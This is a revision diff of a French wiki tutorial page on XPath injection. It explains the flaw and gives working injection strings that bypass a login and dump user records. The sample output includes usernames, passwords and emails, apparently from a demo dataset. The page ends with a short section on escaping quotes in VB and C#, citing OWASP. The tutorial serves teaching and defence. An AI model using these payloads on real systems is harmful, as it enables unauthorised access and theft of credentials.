Outils pour utilisateurs

Outils du site


web:injection_xpath

Différences

Ci-dessous, les différences entre deux révisions de la page.

Lien vers cette vue comparative

Les deux révisions précédentes Révision précédente
Prochaine révision
Révision précédente
Prochaine révision Les deux révisions suivantes
web:injection_xpath [2016/03/15 08:59]
yorin Xpath Injection
web:injection_xpath [2016/03/16 09:49]
yorin
Ligne 1: Ligne 1:
-__**1) XPATH Authentification**__+**Faille XPath Injection** 
 + 
 +**1.Présentation de la Vulnérabilité ** 
 + 
 +Le principe d'une injection XPath est proche de celui d'une injection SQL. Cela arrive lorsqu'​un site utilises des informations que l'​utilisateur entre pour construire une requête de donnée XML. En envoyant des informations mal formées (de façon intentionnelleil est possible de bypasser des authentifications ou atteindre des données normalement inaccessible. 
 + 
 +**2.Exploit ** 
 + 
 +__2.1 XPATH Authentification__
  
 **Le code :** **Le code :**
Ligne 33: Ligne 41:
 <​code>​ username=admin'​ or '​1'​='​1'​ or ''​='&​password= </​code>​ <​code>​ username=admin'​ or '​1'​='​1'​ or ''​='&​password= </​code>​
  
- +__2.2 Injection string:__
-__**2Injection string:**__+
  
 Ce type d'​injection est possible sur un champs de recherche d'​utilisateur par exemple. ​ Ce type d'​injection est possible sur un champs de recherche d'​utilisateur par exemple. ​
Ligne 55: Ligne 62:
 Cela listera les username : Cela listera les username :
  
-**5 results+  * **5 results ​found**
  
-FrankyVincent +  * **FrankyVincent** 
-admin +  * **admin** 
-Babar +  * **Babar** 
-Tigrou +  * **Tigrou** 
-Carlos**+  * **Carlos**
  
 C'est jolie tout ça mais, nous on veut du mdp ! Remontons d'un cran ! C'est jolie tout ça mais, nous on veut du mdp ! Remontons d'un cran !
Ligne 71: Ligne 78:
 L'​injection : <​code>​ username='​)]/​../​*[('​1'​='​1 </​code>​ renverra: L'​injection : <​code>​ username='​)]/​../​*[('​1'​='​1 </​code>​ renverra:
  
-**1 +  * **1** 
-FrankyVincent +  * **FrankyVincent** 
-FruitDeL@Passion +  * **FruitDeL@Passion** 
-Cousin@cousinealui.com +  * **Cousin@cousinealui.com** 
-+  * **2** 
-admin +  * **admin** 
-Sup3rM0tD3p@sseD30uf +  * **Sup3rM0tD3p@sseD30uf** 
-admin@xpathpwnd.com +  * **admin@xpathpwnd.com** 
-admin+  * **admin** 
 + 
 +  * **[...]** 
 + 
 +  * **Carlos@decede.fr** 
 +  * **Décédé** 
 + 
 +**3.Comment s'en protéger** 
 + 
 +Tout comme les injections SQL il faut echapper les inputs utilisateurs et "​reconstruire"​ la requête après envoie. Il faut donc échapper la quote (') afin d'​empêcher la fermeture de notre requête. Ici, toutes les ' seront remplacé par la version XML encoded à savoir "&​apos;"​. 
 + 
 +<​code>​ 
 +VB: 
 +Dim FindUserXPath as String 
 +FindUserXPath = "//​Employee[UserName/​text()='"​ & Request("​Username"​).Replace("'",​ "&​apos;"​) & "'​ And  
 +        Password/​text()='"​ & Request("​Password"​).Replace("'",​ "&​apos;"​) & "'​]"​
  
-[...]+C#: 
 +String FindUserXPath;​ 
 +FindUserXPath = "//​Employee[UserName/​text()='"​ + Request("​Username"​).Replace("'",​ "&​apos;"​) + "'​ And  
 +        Password/​text()='"​ + Request("​Password"​).Replace("'",​ "&​apos;"​) + "'​]"; 
 +</​code>​
  
-Carlos@decede.fr +source : [[https://​www.owasp.org/​index.php/​XPATH_Injection]]
-Décédé**+
web/injection_xpath.txt · Dernière modification: 2016/07/04 08:38 (modification externe)